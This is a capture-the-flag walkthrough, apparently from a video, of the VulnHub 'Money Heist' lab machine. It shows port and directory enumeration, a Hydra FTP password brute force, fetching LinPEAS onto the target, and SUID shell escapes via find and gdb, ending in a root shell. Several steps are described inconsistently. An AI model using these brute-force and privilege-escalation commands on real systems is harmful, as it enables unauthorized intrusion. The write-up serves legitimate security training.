Hello everyone!
Welcome to my latest video. Today, we're diving into a vulnerable machine
called "Money Heist: Catch Us If You Can."
This machine is
inspired by the popular Spanish heist crime drama, Money Heist.
While the
creators didn't specify its difficulty, I would classify it as "Medium"
based on my experience. To get started, head
over to the VulnHub website and download the vulnerable image.
If you're new to
VulnHub, be sure to check out our VulnHub playlist for some helpful tutorials.
Vulhub provides a collection of pre-built vulnerable docker environments, designed for learning and practicing security vulnerability assessments and penetration testing. Explore various scenarios and improve your cybersecurity skills.
Let's get started!
Settings Up
Once you've downloaded
the image, the next step is setting up the server in VirtualBox. This process
is quite simple and involves importing the OVA file into VirtualBox using the
"Import Appliance" feature.
Here's how to do it.
Double-click
the OVA file, which will automatically launch VirtualBox and open the
"Appliance Settings".
Review the appliance details and settings. You can adjust them as needed.
Now, Click on "Finish" to start the
importing process.
Once the import is complete, you'll see the "Heist" vulnerable machine listed in the VirtualBox Manager under the VulnHub group.
Select this virtual machine, go to
"Settings," and change the network adapter to "Host-only
Adapter."
It's important to
ensure that both your Kali Linux machine (used for attacks) and the vulnerable
machine are connected to the same network. Make sure they're both connected via the Host-only Adapter.
Now, it's time to start the VM. You'll notice that our
vulnerable machine is ready, with a login prompt awaiting.
Let's dive into the
fun!
Enumeration
Identify the IP address
The initial step in our attack is
enumeration, which involves identifying the IP address of our target machine
using NetDiscover. To execute this, open a terminal and run "netdiscover -i" followed by specifying the network interface name, which in this
case is "eth1."
┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.123.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240
From the scan results, we've obtained our
target IP address: "192.168.95.24."
Conduct a network scan to identify open ports
Next, we'll conduct a network scan to
identify open ports, a crucial step in the enumeration process. This helps us
understand the attack surface and strategize targeted attacks. We'll use the
popular Nmap tool for this task. Run:
nmap -sC -sV {Specify the IP address}
In this command,
"-sC" is used to perform a script scan using the default set
of scripts,
while "-sV" enables version detection, allowing us
to identify which versions are running on which port.
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 22:15 IST
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds
┌──(kali㉿kali)-[~]
└─$
After completing the network scan, we
discovered the presence of two open ports.
Port 21 TCP: This is the standard port for
File Transfer Protocol (FTP). The scan reveals that it is running VSFTPD
version 3.0.3, which offers anonymous login access, as indicated by ftp-anon:
Anonymous FTP login allowed.
Port 80 TCP: This is the most common port
for web traffic (HTTP). The scan identifies an Apache HTTPD web server version
2.4.18 running on Ubuntu. The title of the webpage is "Money Heist".
With this information, we can proceed to
explore these services for potential vulnerabilities and exploit them to gain
access to the target system.
Let's use these ports to further enumerate, which
may lead us to gain a foothold on the target system.
FTP Enumeration
From our Nmap findings, we know that the
FTP service allows anonymous login and contains a note.txt file.
To continue our investigation of the target URL, we will perform directory
busting to uncover hidden or hard-to-access directories and pages. For this
task, we'll use the "GoBuster" tool.
gobuster dir -u {Target URL} -w {Path-to-wordlist}
Where,
gobuster dir is used to instruct gobuster to perform directory busting.
-u is used to specify the target URL
we want to explore.
-w is used to provide the path to the wordlist
containing common directory names to try.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.95.24/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Using GoBuster, we identified various
directories. Among these, the /robots directory seemed
potentially helpful for further exploration. Let's open it.
Access the /robots directory by navigating
to, http://192.168.95.24/robots/.
In this directory, there is a file named
tokyo.jpeg with a last modified date of November 19, 2020.
However, upon attempting
to view this image, I received an error message stating, "The image cannot
be displayed because it contains errors."
This suggests, there may be an
issue with the file, or it might not be a valid image.
Resolving "Image Cannot Be Displayed" Errors
To investigate further, we need to examine
the file to understand what might be wrong with it. This involves checking the
file's content and format using various tools.
ExifTool, indicates a "file format
error," which suggests that the file may not be a valid JPEG image or it
might be corrupted or tampered with.
To further investigate and determine the
valid format of the file using the File Command.
┌──(kali㉿kali)-[~]
└─$ file tokyo.jpeg
tokyo.jpeg: data
┌──(kali㉿kali)-[~]
└─$
The file
command indicating “tokyo.jpeg: data,” suggests that
the file does not conform to a recognizable image format, suggesting it might
be corrupted or mislabeled, or potentially contains hidden data.
Let's proceed by analyzing the file using a hex editor. Open the file in a hex editor to manually inspect the header and
structure.
┌──(kali㉿kali)-[~]
└─$ hexeditor tokyo.jpeg
Look at the first few bytes to see if they
match any known file signatures. Some common signatures are:
File Format
Signature
(Hexadecimal)
Description
JPEG
FF D8 FF
E0
Standard
JPEG/JFIF image
FF D8 FF
E1
Standard
JPEG/EXIF image
PNG
89 50 4E
47 0D 0A 1A 0A
PNG image
GIF
47 49 46
38
GIF image
(starts with "GIF8")
BMP
42 4D
BMP image
(starts with "BM")
The hex editor output indicates that the
file starts with bytes0A 4A EE E0, which are unusual
for a JPEG signature.
However, subsequent bytes 00 10 4A 46 49 46 00 01
01 01 00 60 00 60 00 00 include the JFIF marker,
typical for JPEG files.
Despite the unusual starting bytes, the
structure following them suggests it's a JPEG. Let's try to correct the header
and see if we can open the image.
Before making changes, ensure you have a
backup of the original file.
In the hex editor, change the first four bytes, 0A 4A EE E0 to the standard JPEG header, FF D8 FF E0.
Save it using CTRL + X.
After making the
changes, it looks like we have fixed this image attempt to open the image.
We see
a message like:
"Seriously! How can you think I have
something here for you? Don’t do this next time."
This indicates that our efforts did not
yield useful results and that the file was intentionally misleading or empty.
Exploring and Analyzing the /gate Directory
Previously, from our GoBuster scan, we discovered another directory
named /gate.
This is the index of /gate/ directory
listing for a web server. Here, there is a file named "gate.exe" in
the /gate/ directory.
For, further investigation, let me download it.
To investigate the downloaded gate.exe file
for any clues, we can follow several steps to analyze its contents, check for
malicious activity, and extract any embedded information.
The most common thing is to check the Basic
File Information, to confirm the file type to ensure it’s an executable.
┌──(kali㉿kali)-[~]
└─$ file gate.exe
gate.exe: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified, last modified Sun, Nov 16 2020 11:07:30, uncompressed size 13, method=store
┌──(kali㉿kali)-[~]
└─$
The file command output indicates that gate.exe is actually a ZIP archive. This means it likely contains one or more files inside.
Let’s extract and investigate the contents of the ZIP archive.
Use the unzip Command, to Extract the contents of the ZIP archive to a directory.
┌──(kali㉿kali)-[~]
└─$ unzip gate.exe -d gate
Archive: gate.exe
file #1: bad zipfile offset (local header sig): 0
┌──(kali㉿kali)-[~]
└─$
The error message, “bad zipfile offset
(local header sig): 0”, indicates that the ZIP archive gate.exe
is either corrupted or has been intentionally tampered with. This can often
happen in files that are used for steganography or to hide malicious code.
Let’s Attempt to Repair the ZIP Archive
using zip.
The -FF option in zip attempts to fix the archive by scanning for any valid ZIP headers.
┌──(kali㉿kali)-[~]
└─$ zip -FF gate.exe --out gate_fixed.zip
Fix archive (-FF) - salvage what can
Found end record (EOCDR) - says expect single disk archive
Scanning for entries...
Central Directory found...
no local entry: note
EOCDR found ( 1 149)...
zip warning: zip file empty
┌──(kali㉿kali)-[~]
└─$
The output indicates that the attempt to
fix the gate.exe file, resulting in an empty archive, suggesting that the original
file might be heavily corrupted or deliberately crafted to appear as a ZIP
archive without containing valid ZIP entries.
After determining that gate.exe is a ZIP archive and facing extraction errors, the next logical
step is to use strings. Let’s use, strings, to Extract Readable Text.
┌──(kali㉿kali)-[~]
└─$ strings gate.exe
noteUT
/BankOfSp41n
noteUT
┌──(kali㉿kali)-[~]
└─$
The extracted strings include
“noteUT”,
“/BankOfSp41n”,
“noteUT”.
This suggests there might be a hidden note or reference to
"Bank Of Spain," which could be a clue embedded within the file. This
actually looks like an internal URL of the target system.
Investigate an internal URL/BankOfSp41n
For a better look, visit it.
Exactly, this
is an internal URL of the target system. Here, it displays an image of a bank but
nothing else.
So, for a better look, if there is any
directory or files are there. To continue our investigation of the target URL,
we will perform directory busting to uncover hidden or hard-to-access
directories and pages using GoBuster.
The -x
option filters for specified file types.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.95.24/BankOfSp41n/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt
Progress: 836295 / 882244 (94.79%)[ERROR] Get "http://192.168.95.24/BankOfSp41n/14585.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/14585.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/14585.txt": dial tcp 192.168.95.24:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/9682": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/9682.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/9682.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/9682.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13604.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13604": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13604.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 836305 / 882244 (94.79%)[ERROR] Get "http://192.168.95.24/BankOfSp41n/google_goofs.txt": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/google_goofs.php": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/google_goofs.html": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13551": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13551.txt": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13551.html": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/google_goofs": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13551.php": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/13604.txt": dial tcp 192.168.95.24:80: connect: no route to host
[ERROR] Get "http://192.168.95.24/BankOfSp41n/google_features": dial tcp 192.168.95.24:80: connect: no route to host
The refined GoBuster scan showed
various error URLs, but among these, we found a file named login.php which could be useful for further escalation.
Let's visit the “login.php” page.
Upon accessing it, we are prompted to input a username and
password. Since we lack the credentials, we'll need to investigate further to
find any hints.
While checking the source code of the login
page, we came across a JavaScript file named CR3DS.js.
This file might contain hints or credentials. Access the CR3DS.js
file.
In it, we find a function designed to validate login credentials. The
function checks if the values entered into the form fields match specific
criteria.
form.userid.value must be equal to
"anonymous".
form.pwd.value must be equal to
"B1tCh".
If both conditions are met, the function
returns true, indicating a successful login. Otherwise, it triggers an alert
with the message "Hahaha! Wrong Person!" and returns false, indicating a failed login attempt.
This JavaScript code provides the exact
credentials needed to successfully login:
Username: anonymous,
Password: B1tCh.
Let’s use these credentials on the
login.php page to attempt logging in and proceed with our investigation.
After successfully logging in, the
resulting webpage appears to be broken. To continue our investigation, let's
check the page source for any additional information or clues.
Upon navigating through the page source, I
found a hint within the comments.
This hint suggests that we might need updated
credentials and provides the username, Arturo.
Let's use the username Arturo for a brute-force attack against the FTP service.
Brute Forcing FTP Credentials with Hydra
Hydra is a powerful tool for such
attacks. To brute force the FTP service, run the following command in the
terminal.
Where,
-l is used to specify
the username.
-P is used to specify the path to the password
list.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-25 23:55:18
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.95.24:21/
[STATUS] 256.00 tries/min, 256 tries in 00:01h, 14344143 to do in 933:52h, 16 active
[STATUS] 263.00 tries/min, 789 tries in 00:03h, 14343610 to do in 908:59h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-26 00:02:13
┌──(kali㉿kali)-[~]
└─$
Once Hydra completes the attack, it will display the correct password, which is
corona.
Since we have a valid username and
password, let’s use these credentials to gain a foothold on the target system
using FTP.
Foothold
Now, let's use these credentials to log in
to the FTP service.
Investigate user Arturo running on FTP service
Once logged in, list the files and directories to check for
any important files left for us.
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.95.24
Connected to 192.168.95.24.
220 (vsFTPd 3.0.3)
Name (192.168.95.24:kali): arturo
331 Please specify the password.
Password:corona
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||44163|)
150 Here comes the directory listing.
drwxr-xr-x 6 1002 1002 4096 May 26 00:16 .
drwxr-xr-x 6 0 0 4096 Oct 15 2020 ..
-rw-r--r-- 1 1002 1002 220 Oct 10 2020 .bash_logout
-rw-rw-r-- 1 1002 1002 15 Nov 16 2020 .bashr
-rw-r--r-- 1 1002 1002 3771 Oct 10 2020 .bashrc
drwx------ 2 1002 1002 4096 Oct 11 2020 .cache
drwxr-x--- 3 1002 1002 4096 May 26 00:16 .config
drwx------ 2 1002 1002 4096 May 26 00:16 .gnupg
drwxrwxr-x 2 1002 1002 4096 Oct 12 2020 .nano
-rw-r--r-- 1 1002 1002 655 Oct 10 2020 .profile
-rw-r--r-- 1 0 0 215 Oct 12 2020 secret.txt
226 Directory send OK.
ftp>
Upon listing all files and directories, I found a text file named “secret.txt”. Now, let’s retrieve the secret.txt file, to
check its contents by running the get command.
ftp> get secret.txt
local: secret.txt remote: secret.txt
229 Entering Extended Passive Mode (|||27786|)
150 Opening BINARY mode data connection for secret.txt (215 bytes).
100% |*************************************************************************************************| 215 0.58 KiB/s 00:00 ETA
226 Transfer complete.
215 bytes received in 00:00 (0.58 KiB/s)
ftp>
Now, open the file to see what it contains.
Let's analyze this text for potential hints
that might help with future escalation. The text mentions specific names and numbers
which might be important.
Names: Denver, Nairobi.
Hostages: 65-66.
Total armed
individuals: 8.
The names and numbers mentioned in the text
might be used as passwords or as part of usernames. The context of a call to
police headquarters might imply the need to communicate or use information
related to law enforcement or emergency contacts.
If my guess is correct, the names, Denver
and Nairobi, look like usernames.
Usually, a username can be verified by
checking the home directory. First, let me check the current directory
path using the pwd command.
ftp> pwd
Remote directory: /home/arturo
ftp>
It replies with /home/Arturo.
So, switch back to the home directory and
list the files and directories to see if the username directories are listed.
ftp> cd /home
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (|||56869|)
150 Here comes the directory listing.
drwxr-xr-x 6 0 0 4096 Oct 15 2020 .
drwxr-xr-x 23 0 0 4096 Oct 05 2020 ..
drwxr-xr-x 6 1002 1002 4096 May 26 00:16 arturo
drwxrwx--- 2 1003 1003 4096 Nov 19 2020 denver
drwxrwx--- 5 1004 1004 4096 May 26 00:48 nairobi
drwxrwx--- 4 1000 1000 4096 Nov 19 2020 tokyo
226 Directory send OK.
ftp>
Yes, there are three more users: Denver, Nairobi, and Tokyo. Change the directory to Denver.
ftp> cd denver
550 Failed to change directory.
ftp> cd nairobi
550 Failed to change directory.
ftp> cd tokyo
550 Failed to change directory.
ftp>
However, it shows "Failed to change
directory." The same issue occurs with the other two users, Nairobi and
Tokyo. This means we cannot access these directories using the FTP client tool.
But I don't understand what "Hostages: 65-66" refers to.
After thinking for some time, I suspect that this might
be a port number. To verify my guess, let's run Nmap again.
Here, I am using
the -p- option, which helps us scan all available ports.
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.24 -p-
Although my guess was incorrect, I
found a port running an SSH service on port 55001.
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
98 packages can be updated.
75 updates are security updates.
Last login: Sun May 26 00:09:10 2024 from 192.168.95.3
arturo@Money-Heist:~$
It worked! We have successfully connected
via SSH.
arturo@Money-Heist:~$ ls -al
total 44
drwxr-xr-x 6 arturo arturo 4096 May 26 00:16 .
drwxr-xr-x 6 root root 4096 Oct 15 2020 ..
-rw-r--r-- 1 arturo arturo 220 Oct 10 2020 .bash_logout
-rw-rw-r-- 1 arturo arturo 15 Nov 16 2020 .bashr
-rw-r--r-- 1 arturo arturo 3771 Oct 10 2020 .bashrc
drwx------ 2 arturo arturo 4096 Oct 11 2020 .cache
drwxr-x--- 3 arturo arturo 4096 May 26 00:16 .config
drwx------ 2 arturo arturo 4096 May 26 00:16 .gnupg
drwxrwxr-x 2 arturo arturo 4096 Oct 12 2020 .nano
-rw-r--r-- 1 arturo arturo 655 Oct 10 2020 .profile
-rw-r--r-- 1 root root 215 Oct 12 2020 secret.txt
arturo@Money-Heist:~$
Upon listing the files and directories, we can see the same files and directories we previously investigated via FTP. Let's not repeat the same steps.
Change the directory to the given users,
which previously did not have access. For a better look, let me change the directory
to home directory, and list all the user’s directories.
arturo@Money-Heist:~$ cd /home
arturo@Money-Heist:/home$ ls -al
total 24
drwxr-xr-x 6 root root 4096 Oct 15 2020 .
drwxr-xr-x 23 root root 4096 Oct 5 2020 ..
drwxr-xr-x 6 arturo arturo 4096 May 26 00:16 arturo
drwxrwx--- 2 denver denver 4096 Nov 19 2020 denver
drwxrwx--- 5 nairobi nairobi 4096 May 26 00:48 nairobi
drwxrwx--- 4 tokyo tokyo 4096 Nov 19 2020 tokyo
arturo@Money-Heist:/home$
Now, try to access
Denver.
arturo@Money-Heist:/home$ cd danver
-bash: cd: danver: No such file or directory
arturo@Money-Heist:/home$
However, it shows a "Permission
denied" error.
It looks like the user Arturo doesn’t have
permission to access other users' directories. Therefore, we need to escalate
our privileges to gain root access.
Privilege Escalation
Escalate Privilege for user Arturo
Let's check what sudo permissions the
current user Arturo has by running the sudo -l command.
arturo@Money-Heist:/home$ sudo -l
[sudo] password for arturo:
Sorry, user arturo may not run sudo on Money-Heist.
arturo@Money-Heist:/home$
The output shows: "Sorry, user Arturo
may not run sudo on Money-Heist." This means Arturo does not have
permission to run sudo commands.
Escalate user, Arturo Privilege using LinPEAS
For a more comprehensive overview, I will
use LinPEAS.
LinPEAS is a script that helps automate the
process of identifying potential weaknesses in the system that could be
exploited for privilege escalation.
First, we have to send it to the target system.
To proceed, we need the LinPEAS script, which can be downloaded from GitHub.
Check out the latest release of PEASS-ng, a set of scripts to perform privilege escalation on Windows and Linux systems. This release includes new features and improvements for better performance and usability.
Next,
we need to transfer the LinPEAS script to the target system. To do this, we can
set up a simple HTTP server on our machine to serve the script.
Use Python to create an HTTP server to host
the LinPEAS script.
Run the following command in the directory where the
LinPEAS script is located.
This will start an HTTP server on port 8000. Ensure
this port is accessible from the target system.
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Once the HTTP server is hosted, on the target
shell, Change the directory to /tmp. To download the linpeas.sh
file, we will use the wget command.
First, list all files and directories to
verify whether "linpeas.sh" has execution permissions. It does not, so, we will
need to modify the permissions. To make linpeas.sh executable, use the chmod
command.
Next, run linpeas.sh
to perform a comprehensive scan of the system for privilege escalation
opportunities.
arturo@Money-Heist:/tmp$ ./linpeas.sh
The script will examine various aspects of the system, including
misconfigurations, outdated or vulnerable software versions, and other security
weaknesses that could be exploited to gain higher privileges.
Upon analyzing the output, I found three
critical files under the “Files with Interesting Permissions” section:
sed,
find, and
gdb.
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. This resource provides detailed information and examples for each binary.
Let's check the sed file first. The sed file can be used for Sudo and
SUID permissions. Since Arturo cannot use sudo, let's check SUID.
However, the sed command looks complicated and may not work.
Let's check the find file next.
find . -exec /bin/sh -p \; -quit
Here is the command that may work. Replace sh with bash.
The note suggests that Arturo has been caught trying to leak information and is now in another room. This may imply there are more users or directories to explore, possibly related to the other room.
So, let me try to access other users’ directories, to check if it is working or not. Navigate to the home directory, and from here, change the directory to another user.
bash-4.3$ cd /home
bash-4.3$ ls -al
total 24
drwxr-xr-x 6 root root 4096 Oct 15 2020 .
drwxr-xr-x 23 root root 4096 Oct 5 2020 ..
drwxr-xr-x 6 arturo arturo 4096 May 26 00:16 arturo
drwxrwx--- 2 denver denver 4096 Nov 19 2020 denver
This also shows a "Permission
denied" error, indicating that the gdb SUID command does not work.
Gain Privilege for user Tokyo, for further Escalation
While looking through the files and directories
in Denver's directory, I came across a suspicious file named secret_diary. Let's open it using the cat
command.
bash-4.3$ ls -al
total 28
drwxrwx--- 2 denver denver 4096 Nov 19 2020 .
drwxr-xr-x 6 root root 4096 Oct 15 2020 ..
-rw-r--r-- 1 denver denver 220 Oct 10 2020 .bash_logout
-rw-r--r-- 1 denver denver 3771 Oct 10 2020 .bashrc
-rw-r--r-- 1 root root 302 Oct 14 2020 note.txt
-rw-r--r-- 1 denver denver 655 Oct 10 2020 .profile
-rw-r--r-- 1 root root 284 Nov 19 2020 secret_diary
bash-4.3$ cat secret_diary
They all understimate me, mainly Nairobi and Tokyo, they think only they can lead the team and I can't.
Tokyo is like Maserati you know. But I hate both of them,
Now I leave a thing on browser which should be secret, Now Nairobi will resposible for this...
/BankOfSp41n/0x987654/
bash-4.3$
Upon thorough analysis, I found a hint in
the secret_diary.
It notes that “Denver feels underestimated by Nairobi and Tokyo
and has left something secret on the browser.”
The provided path seems like a directory
or file path on the target system. Now, the next step involved is Investigate
/BankOfSp41n/0x987654/ Directory.
Investigate /BankOfSp41n/0x987654/ Directory
Navigate to the specified directory path in the browser to see what it contains. In the web browser, add the directory path after the existing URL.
Upon navigating to the given directory
path, I came across an index page, and here I found a file listed: key.txt.
Let’s open it and check what it contains.
Upon opening it, it appears to be encoded
or obfuscated. The repeated pattern of, .-.-.- suggests it might be a simple
substitution or some form of code. It looks like a Morse code-like text.
Decode Morse code-like text and investigate the output
First, convert the Morse code-like text
into actual text symbols using an online Morse code decoder.
Upon decoding it,
we found a series of dots and spaces, which might correspond to Morse code,
binary, or another dot-and-space-based cipher.
However, when translating each Morse code
symbol to its corresponding letter, I found that the second word with 5 dots
after the space is an invalid Morse code.
This means it is not Morse code. Rather, it looks more like tap code.
Decode tap code text and investigate the output
Let's use
an online tap code decoder.
It worked. Here, we found another text.
Decode the ROT13 cipher and investigate the output
Based on the
sequence of letters, it appears that the next step is to apply the ROT13 cipher
to decode it.
ROT13 is a simple substitution cipher where
each letter is replaced by the letter 13 positions ahead in the alphabet.
So, let’s use an online decoder to decode
the text, and find out what is encoded.
Based on the decoded text, it looks,
like we finally found the text. It looks like a password for the user
Nairobi, which was previously mentioned in the secret_diary file.
So, let’s use the SSH client tool to establish a connection.
But it did not work. Here, we have two reasons:
the decoded text
is not fully decoded, and further refining is needed.
The other reason is we
have used an invalid user.
However, this second reason is unlikely because the secret_diary file specifically indicated the user Nairobi.
So, it is best to check if we can decode it
further.
Decode unknown cipher and investigate the output
The text "wiqinauunwzsrrcpc" does not immediately suggest a
known pattern or phrase. However, I can try to decrypt it using some common
ciphers and tools.
Here, I am going to use the Cryptii online
decoder tool.
Upon trying various cipher decoders, I
found that the decoder we are looking for is an affine cipher. This process is
complicated and time-consuming, but we have finally decoded it.
Now, let's use
it again to check if we can successfully establish a connection.
However, when trying to change the
directory to Tokyo, it displayed a permission denied error.
Further escalation
is needed. It's important to know if the user Nairobi has permission to run
sudo. So, let's use the sudo -l command to check.
nairobi@Money-Heist:/home$ sudo -l
[sudo] password for nairobi:
Sorry, user nairobi may not run sudo on Money-Heist.
nairobi@Money-Heist:/home$
The user Nairobi does not have permission
to run sudo. For a more comprehensive overview, I will use LinPEAS.
Escalate user, Nairobi Privilege using LinPEAS
First, we have to send LinPEAS to the
target system. Previously, we downloaded it and also set up an HTTP server to
host it using Python3, so there's no need to set it up again.
It is important to remember, that due to
previous usage of the /tmp directory, we cannot use it to download LinPEAS on
the /tmp directory because each user doesn’t have the permit to access others'
contents.
So, we have to download thelinpeas.sh file from the Nairobi home directory. Run the wget command followed by the URL.
Next, list all files and directories to
verify whether, linpeas.sh has execution permissions. If it does not, modify the permissions using the chmod command to make linpeas.sh executable.
nairobi@Money-Heist:~$ ls -al
total 880
drwxrwx--- 5 nairobi nairobi 4096 Jul 5 03:03 .
drwxr-xr-x 6 root root 4096 Oct 15 2020 ..
-rw-r--r-- 1 nairobi nairobi 220 Oct 11 2020 .bash_logout
-rw-r--r-- 1 nairobi nairobi 3771 Oct 11 2020 .bashrc
drwx------ 2 nairobi nairobi 4096 Oct 15 2020 .cache
drwxr-x--- 3 nairobi nairobi 4096 May 26 00:48 .config
drwx------ 2 nairobi nairobi 4096 May 26 00:48 .gnupg
-rw-rw-r-- 1 nairobi nairobi 862779 May 22 02:30 linpeas.sh
-rw-r--r-- 1 root root 2510 Nov 19 2020 note.txt
-rw-r--r-- 1 nairobi nairobi 655 Oct 11 2020 .profile
nairobi@Money-Heist:~$ chmod +x linpeas.sh
nairobi@Money-Heist:~$
Run linpeas.sh to perform a comprehensive
scan of the system for privilege escalation opportunities.
nairobi@Money-Heist:~$ ./linpeas.sh
The script will
examine various aspects of the system, including misconfigurations, outdated or
vulnerable software versions, and other security weaknesses that could be
exploited to gain higher privileges.
Upon analyzing the output, I found the same
critical files under the “Files with Interesting Permissions” section.
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
However, when I attempted to open the Tokyo
user directory, I was met with a permission denied error. This indicates that
further privilege escalation is required to access this directory.
Escalate privileges usinggdb SUID command
To escalate privileges, let's use thegdb SUID
command. Search for the appropriate command on GTFOBins.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
bash-4.3$
Upon execution, it will change
the shell type. Now, let’s try to change the directory to
Tokyo, and list the files and directories to check what it contains.
bash-4.3$ ls -al
total 24
drwxr-xr-x 6 root root 4096 Oct 15 2020 .
drwxr-xr-x 23 root root 4096 Oct 5 2020 ..
drwxr-xr-x 6 arturo arturo 4096 May 26 00:16 arturo
drwxrwx--- 2 denver denver 4096 Nov 19 2020 denver
-rw------- 1 tokyo tokyo 8 Nov 19 2020 .bash_history
-rw-r--r-- 1 tokyo tokyo 220 Oct 5 2020 .bash_logout
-rw-r--r-- 1 tokyo tokyo 3771 Oct 5 2020 .bashrc
drwx------ 2 tokyo tokyo 4096 Oct 5 2020 .cache
drwxrwxr-x 2 tokyo tokyo 4096 Nov 19 2020 .nano
-rw-r--r-- 1 tokyo tokyo 655 Oct 5 2020 .profile
-rw-r--r-- 1 tokyo tokyo 133 Nov 19 2020 .sudo_as_admin_successful
bash-4.3$
It worked! But, there are no noteworthy files, but there is a “.sudo_as_admin_successful” file that looks suspicious.
bash-4.3$ cat .sudo_as_admin_successful
Romeo Oscar Oscar Tango Stop Papa Alfa Sierra Sierra Whiskey Oscar Romeo Delta : India November Delta India Alfa One Nine Four Seven
bash-4.3$
The file contains a phonetic alphabet
followed by a date.
Investigate a phonetic alphabet followed by a date for further escalation
Let's decode it step by step.
Phonetic Alphabet:
Romeo = R
Oscar = O
Oscar = O
Tango = T
Stop = (usually used to end a transmission, not a letter)
Papa = P
Alfa = A
Sierra = S
Sierra = S
Whiskey = W
Oscar = O
Romeo = R
Delta = D
This translates to:ROOT PASSWORD
Date:
:
India = I
November = N
Delta = D
India = I
Alfa = A
One = 1
Nine = 9
Four = 4
Seven = 7
This translates to:INDIA 1947.
The phonetic alphabet
part translates to ROOT PASSWORD, and the date is INDIA 1947.
The phrase ROOT PASSWORD suggests that this
could be a hint towards the root password or credentials related to root
access. INDIA 1947 might be a clue or the actual password.
Username: root
Password: india1947
Switch user to root
Try using these credentials to see if they provide access to additional system functions or elevate privileges. If the file is suggesting this is a root password, using sudoor directly logging in as root with these credentials might be your next step.
Use the “su root” command. It prompts you to
input a password. Enter “india1947” in lowercase.
bash-4.3$ su root
Password:
root@Money-Heist:/home/tokyo#
Here, we are successful!
root@Money-Heist:/home/tokyo# whoami
root
root@Money-Heist:/home/tokyo#
Using the whoami command, we can see we have successfully obtained root shell access.
Since the previous enumeration did not
reveal any user flag, it meant to be that, the flag must be in the root
directory.
Change the directory to root and list the files and directories.
root@Money-Heist:/home/tokyo# cd /root
root@Money-Heist:~# ls -al
total 24
drwx------ 3 root root 4096 Nov 19 2020 .
drwxr-xr-x 23 root root 4096 Oct 5 2020 ..
-rw-r--r-- 1 root root 3121 Nov 19 2020 .bashrc
